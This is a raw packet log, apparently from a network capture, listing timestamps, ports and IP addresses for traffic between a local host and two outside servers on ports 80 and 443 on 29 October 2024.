Oct 29, 2024 04:17:23.545244932 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.545268059 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.545301914 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.545332909 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.545356035 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.545387030 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.545418024 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.545440912 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.545474052 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.545506954 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.545538902 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.545561075 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.545593023 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.545624971 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.545645952 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.545679092 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.545710087 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.545742035 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.545764923 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.545800924 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.545813084 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.545844078 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.545876026 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.545897961 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.545928955 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.545962095 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.545983076 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.546061039 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.550646067 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.550681114 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.550724983 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.550874949 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.584229946 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.589593887 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.821496010 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.821533918 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.821568012 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.821604013 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.821647882 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.821665049 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.821692944 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.821727037 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.821758986 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.821798086 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.821820021 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.821937084 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.821991920 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.822026968 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.822045088 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.822132111 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.822184086 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.822226048 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.822253942 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.822304964 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.822338104 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.822385073 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.822410107 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.822443962 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.822477102 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.822510004 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.822534084 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.822565079 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.822597027 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.822633028 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.822650909 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.822685003 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.822717905 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.822753906 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.822776079 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.822808027 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.822835922 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.822873116 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.822895050 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.822926998 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.822958946 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.822992086 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.823014975 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.823045969 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.823082924 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.823121071 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.823137999 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.823189020 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.823220968 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.823259115 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.823276043 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.823303938 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.823373079 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.823407888 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.823430061 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.823471069 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.823497057 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.823530912 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.823553085 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.823585033 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.823622942 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.823645115 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.823676109 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.823709011 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.823743105 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.823762894 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.823795080 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.823827028 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.823858976 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.823882103 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.823915958 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.823947906 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.823983908 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.824001074 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.824033022 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.824067116 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.824103117 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.824120998 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.824152946 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.824186087 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.824218035 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.824248075 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.824248075 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.824284077 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.824317932 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.824341059 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.824377060 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.824403048 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.824435949 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.824470043 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.824493885 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.824527025 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.824559927 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.824593067 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.824619055 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.824651957 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.824687004 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.824721098 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.824742079 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.824774027 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.824806929 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.824839115 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.824865103 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.824896097 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.824928999 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.824960947 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.824985981 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.825030088 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.825062990 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.825094938 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.825119019 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.825150013 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.825184107 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.825222969 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:23.825236082 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:23.827060938 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:24.803388119 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:24.803388119 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:24.809060097 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:24.809137106 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.101500988 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.101589918 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:25.151000023 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:25.156445026 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.390079975 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.390136957 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.390171051 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:25.390206099 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:25.390259981 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.390307903 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:25.393141985 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:25.398507118 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.631486893 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.631575108 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:25.649488926 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:25.655008078 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.889614105 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.889703989 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:25.970733881 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:25.970851898 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:25.976380110 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.976412058 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.976444960 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:25.976469040 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.976490974 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:25.976526976 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:25.976588964 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.976617098 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.976648092 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:25.976691008 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:25.976723909 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.976774931 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:25.976805925 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.976834059 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.976862907 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:25.976890087 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:25.976958990 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.976986885 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.977015972 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:25.977040052 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:25.981550932 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.981611013 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.981626987 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:25.981669903 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.981693983 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:25.981729031 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:25.981753111 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.981812000 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.981827974 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:25.981859922 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.981884003 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:25.981920958 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:25.982393026 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.982426882 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.982460976 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:25.982513905 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:25.982558012 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.982635021 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:25.982667923 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.982726097 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.982753038 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:25.982785940 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:25.982841015 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.982867002 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.982893944 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.982935905 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:25.982974052 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:25.986783981 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.986857891 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:25.987339020 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.987370968 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.987411976 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:25.987471104 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:25.987637997 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.987694979 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:25.987735987 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.987783909 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:25.987880945 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.987960100 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:25.988331079 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.988358021 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.988384962 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:25.988424063 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:25.988477945 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.988504887 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.988538980 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:25.988567114 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.988595009 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.988646030 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.988672972 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.988701105 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.988728046 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.988754988 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.988780975 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.988830090 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.988857031 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.988883972 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.988912106 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.988938093 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.988966942 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.989017963 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.989044905 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.989072084 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.989099026 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.989147902 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.989175081 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.992145061 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.992173910 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.992223978 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.992250919 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.992278099 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.992305040 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.992331982 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.992901087 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.992929935 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.992980003 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.993006945 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.993033886 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.993061066 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.993108988 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.993135929 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.993161917 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.993189096 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.993216038 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.993242979 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.993592024 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.993619919 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.993648052 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.993695974 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.993722916 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.993748903 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.993776083 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.993803978 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.993851900 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.993879080 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.994515896 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.994544983 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.994576931 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.994721889 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.994749069 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:25.994777918 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:26.643935919 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:26.644021988 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:26.683881998 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:26.689275980 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:26.922975063 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:26.923058987 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:26.962033033 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:26.962133884 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:26.962215900 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:26.974720955 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:26.974766016 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:27.865300894 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:27.865535975 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:27.913161993 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:27.913208008 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:27.914169073 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:27.914243937 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:27.917829990 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:27.959335089 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:28.300050020 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:28.300108910 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:28.300153971 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:28.300168037 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:28.300302982 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:28.300303936 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:28.300338030 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:28.300401926 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:28.438553095 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:28.438611984 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:28.438772917 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:28.438774109 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:28.438806057 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:28.438849926 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:28.556452036 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:28.556502104 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:28.556612015 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:28.556694984 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:28.556736946 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:28.556761026 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:28.674019098 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:28.674066067 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:28.674101114 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:28.674139023 CET	443	49761	87.106.236.48	192.168.2.4
Oct 29, 2024 04:17:28.674216986 CET	49761	443	192.168.2.4	87.106.236.48
Oct 29, 2024 04:17:28.674252033 CET	49761	443	192.168.2.4	87.106.236.48
